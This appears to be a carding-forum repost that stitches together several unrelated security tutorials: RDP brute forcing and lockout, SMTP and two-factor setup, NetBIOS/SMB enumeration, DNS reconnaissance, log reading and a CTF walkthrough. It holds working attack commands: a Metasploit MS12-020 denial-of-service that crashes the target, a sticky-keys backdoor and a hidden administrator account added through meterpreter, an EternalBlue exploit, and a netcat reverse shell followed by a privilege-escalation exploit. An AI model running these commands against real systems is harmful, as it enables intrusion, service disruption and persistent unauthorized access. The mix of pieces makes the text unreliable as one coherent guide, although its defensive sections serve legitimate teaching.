[Image: 4.png?w=687&ssl=1]
Account Lockout duration: 30 minutes
Account lockout threshold: 2 invalid login attempts
Rest Account lockout counter after 30 minutes
If the number of attempts is greater than the value of the Account lockout threshold, the attacker could potentially lock every account.
[Image: 5.png?w=687&ssl=1]
Now let’s test Account lockout policy by again making brute force attack on port 3389.
hydra -V -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102
1
hydra -V -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102

When attacker retrieves the username and password, he will surely use them for login but as you can see it took more than 2 attempts to crack the password therefore according to set policies the account should be get locked for 30 minutes.
[Image: 6.1.png?w=687&ssl=1]
Let’s assure it by login into remote desktop
Open the terminal and type “rdesktop 192.168.0.102 <target IP>” when you will get target screen, enter username and password which have to retrieve from brute force.
From the given image you can observe that we have entered above-discovered username and password ignite: 12345.
[Image: 6.png?w=687&ssl=1]
When you (attacker) will submit your credential then it will give you a message that current account has been locked out and cannot be login as shown in the given image.
This will lock the account of the user ignite for 30 minutes and hence admin will come to know that someone has tried brute force attack for unauthorized access.
In this way, we can protect the brute force attack for unauthorized access.
[Image: 7.png?w=687&ssl=1]
Scan port 3389 for DOS attack
Many times in order to identify whether the host is vulnerable to RDP or not, attacker use exploit MS12-020-check to test its strength.
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to scan for vulnerability.
use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit

1
2
3
4

use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit

From the given image you can, it is showing target is vulnerable, now you can use Google to find its exploit for the attack.
[Image: 8.1.png?w=687&ssl=1]
Once attack knows that target port 3389 is vulnerable MS12-020-check then he will surely try to make an attack with Ms12-0200maxchannelids. This will launch a DOS attack on the target system.
Now Type the following command for DOS attack which will crash the system.
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rport 3389
msf auxiliary(ms12_020_maxchannelids) > exploit

1
2
3
4

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rport 3389
msf auxiliary(ms12_020_maxchannelids) > exploit

[Image: 8.png?w=687&ssl=1]
From given below image you can notice the target is system is shutting down due to some problem.
The criminal executor of DoS attacks often targets sites or services hosted on high-profile web servers such as banks or credit card payment gateways to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet.
[Image: 9.png?w=687&ssl=1]
Enable RDP in Victims PC (2nd Scenario)
If an attacker has hacked victim system in which RDP service is not enabled then attacker himself can activate this service using post exploitation module built by Rapid 7 inside Metasploit.
Now to perform this we must need a meterpreter session of the target system. From the given image you can notice that have already meterpreter session of the target system.
Here we have meterpreter session 1 through multi handler and session 2 from bypassuac for admin privileges.
[Image: 10.png?w=687&ssl=1]
Now type the following command for generation post exploitation to enable RDP service.
use post/windows/manage/enable_rdp
msf post(enable_rdp) > set session 2
msf post(enable_rdp) >exploit

1
2
3

use post/windows/manage/enable_rdp
msf post(enable_rdp) > set session 2
msf post(enable_rdp) >exploit

[Image: 11.png?w=687&ssl=1]
This module makes it possible to apply the ‘sticky keys’ hack to a session with appropriate rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP login screen or via a UAC confirmation dialog.
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 2
msf post(sticky_keys) > exploit

1
2
3

use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 2
msf post(sticky_keys) > exploit

[Image: 12.png?w=687&ssl=1]
Now connect with the remote desktop using the following command:
rdesktop 192.168.0.102
1
rdesktop 192.168.0.102

[Image: 13.png?w=687&ssl=1]
It will ask to submit the credential for login but we are not aware of it, therefore, we had launched stick key attack above so that we can access victim command prompt by hitting 5 times shift key as shown in the given image.
[Image: 14.png?w=687&ssl=1]
Another way to enable RDP
When you are holding a meterpreter session of victim’s system type following command which enables RDP service moreover set credential of your own choice.
meterpreter> run getgui -e -u raaz -p 1234
1
meterpreter> run getgui -e -u raaz -p 1234

From the given image you can observe it has edited user raaz with password 1234 into “Remote Desktop Users” and in “Administrators”.  Now you can login with the created user, connect with the remote desktop using the following command:
rdesktop 192.168.0.102
1
rdesktop 192.168.0.102

[Image: 15.png?w=687&ssl=1]
Enter username: raaz and password: 1234 for login.
[Image: 16.png?w=687&ssl=1]
Awesome!!! We had successfully login into the remote system.
[Image: 17.png?w=687&ssl=1]
Port Forwarding (3rd scenario)
You can forward port 3389 on another port for increasing system security although to perform this in your window operating system explore the following location through registry editor.
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
1
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

From the given image you can see in the right panel port number is highlighted, Click on it.
[Image: 18.png?w=687&ssl=1]
Shift Port from 3389 to specific port number
You will get an edit DWORD window where that you can edit the 32-bit value. By default, it will show d3d which is hexadecimal value for 3389.
Replace 3389 value from another value of your choices such as 3314 and select hexadecimal as a base which will convert 3314 into cf2.
[Image: 19.png?w=687&ssl=1]
From the given image you can see port 3314 is open now.
[Image: 20.png?w=687&ssl=1]
Secure RDP through window firewall (4th Scenario)
Open window Firewall with Advance settings then move into its inbound rules and explore Remote Desktop (TCP-In) for domain profile for adding security filter by making some change in firewall setting.
[Image: 22.png?w=687&ssl=1]
Allow traffic from specific IP
After that, it will open a window for changing its properties, click on the scope. Here you will get two panels for the type of connection establishes local and remote IP address.
In remote IP address choose the 2nd option for specific IP address and enter an IP to which you want to allow for connecting remote desktop services as shown in the given image.
It will stop all traffic coming from another IP and increase the security of your network against any kind of attack.
[Image: 23.png?w=687&ssl=1]

From Wikipedia
Hello friends! Today we are discussing “configuration of SMTP mail server” for sending mail in your LAN network. 
SMTP stands for simple mail transfer protocol communication between mail servers uses TCP port 25 Mail clients on the other hand; often submit the outgoing emails to a mail server on port 587. For retrieving messages, client applications usually use either IMAP or POP3.
POP3 stands for Post Office Protocol (POP) is an application-layer Internet standard protocol used by local e-mail clients to retrieve e-mail from a remote server over a TCP/IP connection. It uses port 110 for receiving mail
IMAP stands for Internet Message Access Protocol (IMAP) is also an Internet standard protocol used by e-mail clients to retrieve e-mail messages from a mail server over a TCP/IP connection. It uses port 143 for receiving mail
Let’s start!!
Configure static IP in your network for SMTP server as shown below.
[Image: 1.png?w=687&ssl=1]
Download hmailserver and install it in your system (windows). This installation program will create a hmailServer user with administration rights. Here you need to give the password for admin so that you will be able to manage its installation.
[Image: 2.png?w=687&ssl=1]
Click on connect which will connect hmailserver to localhost.
[Image: 3.png?w=687&ssl=1]
Enter admin password to login into hmailserver and click on OK to continue.
[Image: 4.png?w=687&ssl=1]
You can take help of nmap to ensure whether SMTP with other Services such as IMAP and POP3 has been running successfully on the remote system (192.168.1.104).
nmap 192.168.0.104
1
nmap 192.168.0.104

From given image to you can observe that all three services SMTP POP3 IMAP are running on port 25 110 and 143 respectively.
Also, new port 587 will get open for submission (SMTP outgoing mail).
[Image: 5.1.png?w=687&ssl=1]
After login into hmailserver, it will ask to add domain name, therefore, click on ADD domain.
[Image: 5.png?w=687&ssl=1]
Enter the domain name of your choice such as pentestlab.local and click the checkbox for Enable.
Now at last click on save which will create a domain “pentestlab.local” into hailmail server.
[Image: 6.png?w=687&ssl=1]
From the given image you can observe pentestlab.local had been created on the left panel. After then click on Account in order to create a new user for your mail server.
Click on ADD
[Image: 7.png?w=687&ssl=1]
Now follow the given below step to create a user for your own mail server.
Address: username (info)
Password: Give password for the username
Click the checkbox for Enable
Click on save
Repeat the step to create more users for the mail server.
[Image: 8.png?w=687&ssl=1]
From the given image you can see I had created three users and for mail server at least you should create two accounts, one account for the sender and other for the receiver.
[Image: 9.png?w=687&ssl=1]
Select all three protocols SMTP, POP3, IMAP as shown in the image.
[Image: 10.png?w=687&ssl=1]
Click on SMTP given in left panel select Advance option and type your IP “192.168.1.104” to bind your local IP with the mail server.
[Image: 12.png?w=687&ssl=1]
After than select Advance option in left panel and type you’re your domain name (for example pentestlab.local) as default domain and click on save.
[Image: 13.png?w=687&ssl=1]
Select Auto-ban under Advance has given in left panel. Uncheck Enable for auto-ban.
[Image: 14.png?w=687&ssl=1]
Now open host file from given path system32 > drivers > etc > hosts
Edit your IP (192.168.0.104) with domain name (pentestlab.local) as shown in given image.
[Image: 15.1.png?w=687&ssl=1]
Now use two different systems in your local network for sending mail through them.
System 1st
Open Microsoft Outlook and select option Add account.
Click the radio button for “Manual setup or additional server type”
Click on Next.
[Image: 15.png?w=687&ssl=1]
Click the radio button to choose service for IMAP or pop Click on Next.
[Image: 16.png?w=687&ssl=1]
Enter the information of mail server for setting your account as given below:
User information
  • Your name: info
  • Your email: [email protected] (provide an email id which you have created in hmail server account.)
Server information
  • Account type: POP3
  • Incoming mail server: 192.168.0.104
  • Outgoing mail server: 192.168.0.104
Logon information [Image: 17.png?w=687&ssl=1]
Click on more setting and choose option outgoing server and enable the following services:
  • Use the same setting (SMTP) requires authentication
  • Use the same setting as my incoming mail server
Click on OK
[Image: 18.png?w=687&ssl=1]
In order to verify server setting for account click on “Test on Account Setting”
From the given image you can observe it is showing green ticks for both tasks with status “completed”. It will show status “fail” if it found any error in the account setting.
[Image: 19.png?w=687&ssl=1]
System 2nd
Open Microsoft Outlook and select option Add account and repeat above step for mail server account setting.
Note: now you’re having two different accounts on two different systems in the same local network as sender and receiver.
[Image: 20.png?w=687&ssl=1]
Now we are testing our mail server by sending mail from one system to another with a different account.
Sender: [email protected]
Receiver: [email protected]
Here we are Sending a message from system 1st to 2nd through Microsoft outlook. You can use another method also for account setting and sending mail for example Thunderbird.
[Image: 22.png?w=687&ssl=1]
Open raj account of 2nd system and verify whether user received any mail from send info or not. Form given image can see we have successfully received mail in raj account.
In this way, you can configure your own mail server for the local network.
[Image: 23.png?w=687&ssl=1]

Hello friends, today we are going to implement two-factor authentication on ubuntu. Two-factor authentication adds an extra layer of security. We are going to use google authenticator to implement two-factor authentication.
Before we start, once we have set this up, we will not be able to log into the account (or issue sudo commands) without a six-digit code from the authenticator. This also adds another step for us. Remember, however, this added step brings with it an extra layer of security we wouldn’t have otherwise.
First we are going to install google authenticator on our Ubuntu.
sudo apt-get install libpam-google-authenticator
1
sudo apt-get install libpam-google-authenticator

[Image: 1.png?w=687&ssl=1]
After we install it we are going to configure our authenticator. Open /etc/pam.d/common-auth
sudo gedit /etc/pam.d/common-auth
1
sudo gedit /etc/pam.d/common-auth



[Image: 2.png?w=687&ssl=1]
Add a line auth required pam_google_authenticator.so
[Image: 3.png?w=687&ssl=1]
Now install google authenticator on your smartphone.
[Image: 4.png?w=687&ssl=1]
After configuring the authenticator we are going to setup google-authenticator. Now run command google-authenticator on terminal. When prompted select yes for time-based authentication. In time based authentication OTP will be valid for a particular period of time.
[Image: 5.png?w=687&ssl=1]
Now it will generate password and a QR-code. You can either create an account manually or simply scan the QR-code on your phone to setup your account.
[Image: 6.png?w=687&ssl=1]
Once you have created the account on your smartphone it will look something like this.
[Image: 7.png?w=687&ssl=1]
After creating the account on your smartphone, select yes to update google authenticator on terminal.
After updating it will ask multiple options to select the type of authentication you want. You can customize it according to your need.
[Image: 8.png?w=687&ssl=1]
Now we restart our system to check if the authenticator is working.
[Image: 9.png?w=687&ssl=1]
Now when we try to login it asks for verification code that will be available on your smartphone.


  [Guide] How to NetBIOS and SMB Penetration Testing on Windows
Posted by: NINZA - 05-10-2020, 05:24 AM - Forum: Carders Home - No Replies

From Wikipedia
NetBIOS (Network Basic Input/Output System)
NetBIOS is a service which allows communication between applications such as a printer or other computer in Ethernet or token ring network via NetBIOS name.
NetBIOS name is 16 digits long character assign to a computer in the workgroup by WINS for name resolution of an IP address into NETBIOS name.
Workgroup VS Domain
Workgroup: It is a peer-to-peer network for a maximum of 10 computers in the same LAN or subnet. It has no Centralized Administration, which means no computer has control over another computer. Each user controls the resources and security locally on their system.
Domain: It is a client/server network for up to 2000 computers anywhere in the world. The administrator manages the domain and its users and resources. A user with an account on the domain can log onto any computer system, without having the account on that computer.
NetBIOS provides three distinct services:

  1. Name service (NetBIOS-NS) for name registration and resolution via port 137.
  2. Datagram distribution service (NetBIOS-DGM) for connection less communication via port 138.
  3. Session service (NetBIOS-SSN) for connection-oriented communication via port 139.
Port
Protocol
Service
135
TCP
MS-RPC endpoint mapper
137
UDP
NetBIOS Name Service
138
UDP
NetBIOS Datagram Service
139
TCP
NetBIOS Session Service
445
TCP
SMB Protocol
Port 135: it is used for Microsoft Remote Procedure Call between client and server to listen to the query of the client. Basically, it is used for communication between client- client and server -client for sending messages.
Port 137: the name service operates on UDP port 137. The name service primitives offered by NetBIOS are:
  • Add name – registers a NetBIOS name.
  • Add group name – registers a NetBIOS “group” name.
  • Delete name – un-registers a NetBIOS name or group name.
  • Find name – looks up a NetBIOS name on the network.
Port 138: Datagram mode is connectionless; the application is responsible for error detection and recovery. In NBT, the datagram service runs on UDP port 138. The datagram service primitives offered by NetBIOS are:
  • Send Datagram – send a datagram to a remote NetBIOS name.
  • Send Broadcast Datagram – send a datagram to all NetBIOS names on the network.
  • Receive Datagram – wait for a packet to arrive from a Send Datagram operation.
  • Receive Broadcast Datagram – wait for a packet to arrive from a Send Broadcast Datagram operation.
Port 139: Session mode lets two computers establish a connection, allows messages to span multiple packets, and provides error detection and recovery. In NBT, the session service runs on TCP port 139.
The session service primitives offered by NetBIOS are:
  • Call – opens a session to a remote NetBIOS name.
  • Listen – listen for attempts to open a session to a NetBIOS name.
  • Hang Up – close a session.
  • Send – sends a packet to the computer on the other end of a session.
  • Send No Ack – like Send, but doesn’t require an acknowledgment.
  • Receive – wait for a packet to arrive from a Send on the other end of a session.
Port 445: It is used for SMB protocol (server message block) for sharing file between different operating system i.e. windows-windows, Unix-Unix and Unix-windows.
For mail details read our previous article given below:-
  • [To see content please register here]


  • [To see content please register here]


  • [To see content please register here]


  • [To see content please register here]


Scanning open port for NETBIOS Enumeration
We are using nmap for scanning target network for open TCP and UDP ports and protocol.
nmap -sT -sU 192.168.1.128
1
nmap -sT -sU 192.168.1.128

From the given image you can see that from the result of scan we found port 137 is open for NetBIOS name services, moreover got MAC address of target system.
[Image: 1.png?w=687&ssl=1]
What will happen if the admin shares a folder in a network?
Suppose we had given share permission to a specific folder (for example ignite as shown in given image) so that we can share that folder with another user in the local network then which port will involve in this process.
[Image: 2.png?w=687&ssl=1]
Now you can observe that we have got a link for our shared folder. Using that link anyone can access this folder in that network, hence it means now a new port must be activated for establishing a connection in order to access a shared folder on another system, let find out it.
[Image: 3.png?w=687&ssl=1]
Now again taking the help of nmap for scanning the target one more time.
nmap -sT -sU 192.168.1.128
1
nmap -sT -sU 192.168.1.128

From the result of scanning, you can observe that after sharing a folder we found port 135, 139 and 445 get activated.
Hence only by sharing a single folder in the network, three ports get opened simultaneously in the target system for communication with another system.
[Image: 4.png?w=687&ssl=1]
Through computer > properties, the user can view basic information about their computer.
As you can perceive we are sharing the image of victims control panel home which is showing his system basic information such as computer name, workgroup and etc.
[Image: 5.png?w=687&ssl=1]
The same information can be enumerated with another system in that network using the following command:
nbtstat -a 192.168.1.128
1
nbtstat -a 192.168.1.128

Hence you can read the information from inside NetBIOS remote machine name table we had enumerated the same information as shown in the above image.
[Image: 6.png?w=687&ssl=1]
Apply filter on port 135-139 with firewall
For increasing security of your system in your local network, you can add a filter on port 137 with help of window firewall. Because port series from 135 to 139 are most vulnerable therefore administrator can block either whole series or a specific port.
Select Inbound Rules and click on New Rule.
[Image: 7.png?w=687&ssl=1]
The select radio button for the port which will create a new rule that controls connections for a TCP or UDP port.
Then click on next.
[Image: 8.png?w=687&ssl=1]
Select UDP port to apply the rule on it.
Edit port 137 as specific local port then click on next. Here you can add complete series also for example 135,137,138,139.
[Image: 9.png?w=687&ssl=1]
Choose to Block the connection as an action to be taken when a connection matches the specified condition.
Hence it will not allow traffic on port 137 for communication as a result if the attacker will scan the victim system he will not able to find the NetBIOS name of the target system.
Click on next.
[Image: 10.png?w=687&ssl=1]
At last, provide a caption to the new rule of your choice (as shown in image block nbtstat) and then click on Finish and you will see new filter/rule will be added into windows firewall.
[Image: 11.png?w=687&ssl=1]
Now scan target system using the previous command
nbtstat -a 192.168.1.128
1
nbtstat -a 192.168.1.128

This time it will not give any information related to NetBIOS. Form given image you can read the message “Host is not found.
Conclusion: Hence by blocking 137 admin has added a security level that will hide the NetBIOS name of his system (192.168.1.128) in the local network.
[Image: 12.png?w=687&ssl=1]
Access Share folder via port 139
Now let’s try to access the shared folder of the target (192.168.1.128) using the run command prompt. From given image, you can observe that we are able to access to ignite folder. It is possible due to service “NetBIOS session service” running on port 139.
[Image: 13.png?w=687&ssl=1]
Block port 139
Similarly again use firewall inbound rule to block port 139, so that we can verify its impact on sharing information between two or more system. This will add a new in the firewall to stop the traffic coming on port 139.
[Image: 14.png?w=687&ssl=1]
Now again let’s try to access share folder of the target (192.168.1.128) when port 139 is blocked by him and figure out whether we are able to access the shared folder “ignite” or not using run command prompt.
From given image, you can see that we are able to access to ignite folder when the port 139 has been blocked by admin in his network.
Conclusion: Although port 139 was blocked but still sharing was possible due to the running protocol on port 445. Hence by blocking port 137 and 139 admin has added a security level that will prevent NetBIOS session service as well as NetBIOS name service for NetBIOS enumeration.
[Image: 15.png?w=687&ssl=1]
Mainly in many organization, port series from 135 to 139 are blocked in the network for security reasons, therefore port 445 is used for sharing data in the network.  Now identify whether it is vulnerable to MS17-010 using Metasploit as shown in the given image.
use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit

1
2
3
4

use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit

From the result we found a host is vulnerable to MS17-010, hence we can exploit the target easily.
For more scanning method read our previous article from

[To see content please register here]

.

[Image: 16.png?w=687&ssl=1]
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128
msf exploit(ms17_010_eternalblue) >set rport 445
msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit

1
2
3
4
5

use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128
msf exploit(ms17_010_eternalblue) >set rport 445
msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit

This will exploit the target system and give a meterpreter session of the targeted system as shown in the given image.
Conclusion: Enumeration plays an important role in network penetration testing because it will fetch out hidden information of a victim’s system as well as identify the weakness that may help in exploiting the system.
[Image: 17.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as 6days. The credit for making this vm machine goes to “CanYouPwn.Me” and it is another boot2root challenge where we have to execute flag file to complete the challenge. You can download this VM

[To see content please register here]

.

Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.18 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]
Use nmap for port enumeration
nmap -sV  192.168.0.18
[Image: 2.png?w=687&ssl=1]
We find port is 80 open, so we open this ip on our browser.
[Image: 3.png?w=687&ssl=1]
This page maybe vulnerable to SQL injection but a WAF is implemented to protect it. So we take a look at the source at the source code for further information.
[Image: 4.png?w=687&ssl=1]
We find that this page maybe vulnerable to LFI and RFI so we use curl to implement our attack.
[Image: 5.png?w=687&ssl=1]
We find that LFI is working on this site. Now we take a look at the config file to find the name of the database.
[Image: 6.png?w=687&ssl=1]
Taking a look at the config file we found that it accessible through localhost. So we use SQL injection with LFI to access the database. Port 80 had WAF so we use 8080 to access the localhost.
[Image: 7.png?w=687&ssl=1]
We find a username and password.  We know that ssh is open so we try this username and password to login through ssh.
ssh [email protected]
[Image: 8.png?w=687&ssl=1]
Now we are connected through ssh, but when we try to run commands it seems like no command is working. It is possible that output is redirected to null. So we use netcat to get a reverse shell
First we set up a listener on our system first.
nc -lvp  1234
[Image: 9.png?w=687&ssl=1]
No we try to connect using netcat reverse shell
nc -e /bin/sh 192.168.0.18 1234
[Image: 10.png?w=687&ssl=1]
When we got the shell we see that we can see the output of the commands. We also find that the OS is Ubuntu 12.04, which is vulnerable to overlays exploit.
[Image: 11.png?w=687&ssl=1]
So we move to /tmp/ folder and download overlays exploit and save it as exploit.c
cd /tmp/
wget

[To see content please register here]

  –no-check-certificate

mv 37292 exploit.c
[Image: 12.png?w=687&ssl=1]
We compile the file and save it as exploit. We give it executable permission then run the file.
gcc –o exploit exploit.c
chmod 777 exploit
./exploit
[Image: 13.png?w=687&ssl=1]
Now we have root access. When we go back we find an executable file called flag.
[Image: 14.png?w=687&ssl=1]
When we run the executable file it shows us a congratulation message stating we completed the challenge.
[Image: 15.png?w=687&ssl=1]

Today we are going to perform DNS enumeration with Kali Linux platform only. It has an in-built tool for DNS enumeration. For this tutorial, you must be aware of DNS server and its records, if you are not much aware of DNS then read our previous article “

[To see content please register here]

”.

Nmap
The following command will try to discover hosts’ services using the DNS Service Discovery protocol. It sends a multicast DNS-SD query and collects all the responses.
The script first sends a query for _services._dns-sd._udp.local to get a list of services. It then sends a follow-up query for each one to try to get more information.
nmap --script=broadcast-dns-service-discovery

[To see content please register here]


1
nmap --script=broadcast-dns-service-discovery

[To see content please register here]


From the given screenshot, you can observe the running service on a DNS server.
[Image: 0.png?w=687]
Following command will try to enumerate DNS hostnames by brute force guessing of common subdomains. With the dns-brute.srv argument, dns-brute will also try to enumerate common DNS SRV records.
Wildcard records are listed as “*A” and “*AAAA” for IPv4 and IPv6 respectively.
nmap -T4 -p 53 --script dns-brute

[To see content please register here]


1
nmap -T4 -p 53 --script dns-brute

[To see content please register here]


From the screenshot, you can observe DNS hostname
[Image: 1.1.png?w=687]
By default, the DNS server performs recursive queries on behalf of its DNS clients and DNS servers that have forwarded DNS client queries to it
Attackers can use recursion to deny the DNS Server service. Therefore, if a DNS server in your network is not intended to receive recursive queries, recursion should be disabled on that server
Following command will Checks if a DNS server allows queries for third-party names. It is expected that recursion will be enabled on your own internal nameservers.
From //technet.microsoft.com
nmap -Pn -sU -p 53 --script=dns-recursion 192.168.1.150
1
nmap -Pn -sU -p 53 --script=dns-recursion 192.168.1.150

As result, you can observe that recursion is enabled on the targeted system
[Image: 1.2.png?w=687]
The following command will enumerate various common service (SRV) records for a given domain name. The service records contain the hostname, port and priority of servers for a given service. The following services are enumerated by the script: – Active Directory Global Catalog – Exchange Autodiscovery – Kerberos KDC Service – Kerberos Passwd Change Service – LDAP Servers – SIP Servers – XMPP S2S – XMPP C2S
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='google.com'"
1
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='google.com'"

[Image: 2.png?w=687]
DNSEnum
Multithreaded Perl script to enumerate DNS information of a domain and to discover non-contiguous IP blocks.
OPERATIONS:
  • Get the host’s address (A record).
  • Get the nameservers (threaded).
  • Get the MX record (threaded).
  • Perform axfr queries on nameservers and get BIND VERSION (threaded).
  • Get extra names and subdomains via google scraping (google query = “allinurl: -www site:domain”).
  • Brute force subdomains from a file can also perform recursion on a subdomain that has NS records (all threaded).
  • Calculate C class domain network ranges and perform whois queries on them (threaded).
  • Perform reverse lookups on netranges ( C class or/and whois netranges) (threaded).
  • Write to domain_ips.txt file IP-blocks.
The following command will avoid enumeration of reverse lookup and save the output result into XML format.
dnsenum --noreverse -o mydomain.xml hackingarticles.in
1
dnsenum --noreverse -o mydomain.xml hackingarticles.in

[Image: 3.png?w=687]
DNSRecon
DNSRecon provides the ability to perform:
  1. Check all NS Records for Zone Transfers
  2. Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
  3. Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
  4. Check for Wildcard Resolution
  5. Brute Force subdomain and host A and AAAA records are given a domain and a wordlist
  6. Perform a PTR Record lookup for a given IP Range or CIDR
  7. Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
  8. Enumerate Common DNS records in the Local Network Enumerate Hosts and Subdomains using Google
The following command will enumerate DNS record of targeted website
dnsrecon -d hackingarticles.in
1
dnsrecon -d hackingarticles.in

You can observe the result from given below image.
[Image: 4.png?w=687]
Fierce
Fierce is a reconnaissance tool. Fierce is a PERL script that quickly scans domains (usually in just a few minutes, assuming no network lag) using several tactics.
Type following command for DNS enumeration on the targeted website
fierce -dns hackingarticles.in
1
fierce -dns hackingarticles.in

From the screenshot, you can see that we have scanned almost the same result as from the above tools.
[Image: 5.png?w=687]

From Wikipedia
Logs
Log files are a standard tool for computer systems developers and administrators. They record the (W5) “what happened when by whom, where and why happened” of the system. This information can record faults and help their diagnosis.
Log Format
The Common Log Format also is known as the NCSA Common log format. Each line in a file stored in the Common Log Format has the following syntax:
[host; ident; authuser; date; request; status; bytes]
Example
127.0.0.1 user-identifier raj [30/Aug/2017:10:25:16 -0700] “GET /apache_pb.gif HTTP/1.0” 200 1068
  1. A “–” in a field indicates missing data.
  2. 0.0.1is the IP address of the client (remote host) which made the request to the server.
  3. User-identifier is the RFC 1413 identity of the client.
  4. raj is the user id of the person requesting the document.
  5. [30/Aug/2017:10:25:16 -0700] is the date, time, and time zone that the request was received
  6. “GET /apache_pb.gif HTTP/1.0” is the request line from the client.
  7. 200is the HTTP status code returned to the client. 2xx is a successful response, 3xx a redirection, 4xx a client error, and 5xx a server error.
  8. 2326is the size of the object returned to the client, measured in bytes
Importance of log analysis
Logs play an important role in tracking each client computer’s activity and its communication with other computers and networks. Network or system administrator analysis log in order to keep an eye on your network for vulnerabilities that may enter in the network to access sensitive information in the form of security attacks. You might be able to identify who introduces risks and help that person to use better precautions.
Location of log files
Generally, in Linux or UNIX system logs are created under /var/log directory, here you will find some very important log file such as Apache, auth, MySQL, kernel, bootstrap, dmeg, apt and etc.
[Image: 1.png?w=687&ssl=1]
Some Important Types of Logs
Application log
The Application log contains events logged by applications or programs. For example, a database program might record a file error in the application log.
Apache: /var/log/apache
Samba:  /var/log/samba
Mail: /var/log/
Mysql:  /var/log/
For Example, let’s consider apache log files for analyzing its logs, there are two types of apache http server log files:
  • Apache Access Log File
Apache server records all incoming requests and all requests processed to a log file. Location and content of the access to log /var/log/apache/access.log.
  • Apache Error Log File
All apache2 errors information those are found during server requests is logged to this file. Location of error log /var/log/apache/error.log.
Now open apache2 log using the following command in terminal (UNIX system).
cd apache2
ls

1
2

cd apache2
ls

You can see all log files of apache2 as shown in the given image.
echo > access.log
1
echo > access.log

Using echo command I had deleted all previous logs from an inside access.log file so that we can read our recent logs for current activity.
[Image: 2.png?w=687&ssl=1]
As I had described above that apache2 will create logs for client activities on the browser. Therefore I had opened some web application like dvwa, BWapp and WordPress site in respective order and as result in same order log will be created inside apache2.
[Image: 4.png?w=687&ssl=1]
There are so many commands and tools used for log analyzing; among them, we had used only three command line utility cat, head and tail for reading logs.
From the given image you can see we have used the cat command to read log which begins with dvwa’s log and end on WordPress log.
cat is standard UNIX utility use for reading the content of the file. With help of cat command, you can view whole content inside any log file.
Syntax: cat [options] file name
cat access.log
1
cat access.log

[Image: 5.png?w=687&ssl=1]
the head is a program on UNIX and Unix-like systems used to display the beginning of a text file.
Syntax: head [options] filename
head access.log
1
head access.log

By default, the head will print the first 10 lines of its input to the standard output. Hence you can option [-n] for specific numbers of line. For example head – n 30 file name.
[Image: 6.png?w=687&ssl=1]
the tail is a program on UNIX and Unix-like systems used to display the tail end of a text file.
Syntax: tail [options] filename
tail access.log
1
tail access.log

From the given image you can perceive that it has shown log for WordPress at the end of the file.
[Image: 7.png?w=687&ssl=1]
A significant way of reading logs
Since tail reads end lines of the log file which consist information of recent activity of the client, therefore, we are going to take help tail’s option for reading log in a significant way.
By default, the tail will output the last 10 lines of its input to the standard output. Hence you can option [-n] for specific numbers of line. For example tail – n 30 file name.
tail -n 2 access.log
1
tail -n 2 access.log

From the given image you can see above command applied filter and read only two logs from recent records.
[Image: 8.png?w=687&ssl=1]
If you want to read multiple log files simultaneously then type the following command.
tail -n 2 access.log error.log
1
tail -n 2 access.log error.log

From the given image you can observe that it has shown two-two logs for each i.e. access log and error log.
[Image: 9.png?w=687&ssl=1]
Now apply the filter using grep command with the tail command for specific records of the log.
Syntax: tail [option] filename | grep “string” [option]
tail access.log | grep 200
1
tail access.log | grep 200

From the given image you can notice, it has highlighted log having a string as 200.  Generally, for a network administrator, this command will reduce his/her effort while log analyzing because he/she can directly read those log where client or attacker has got successfully response from the server.
[Image: 10.png?w=687&ssl=1]
When the server is not able to give reply of a request made by the client it response through error 404 “not found”.
[Image: 11.png?w=687&ssl=1]
tail access.log | grep 404
1
tail access.log | grep 404

From the given image you can see it has highlighted log string 404 from a set of log records.
[Image: 12.png?w=687&ssl=1]
As you know on browser we had browsed web application DVWA, bWAPP and WordPress as respective sequences, therefore we get their log in the same sequence dvwa log at the top; bwapp log at middle and WordPress log at the end of access.log file
Log files are very large, reading them at ones will not possible for the administrator, therefore, he/she can use after and before option with grep as a filter for logs.
Syntax: tail [option] filename | grep -A [number of lines] “string”
tail access.log | grep -A 2 "bwapp"
1
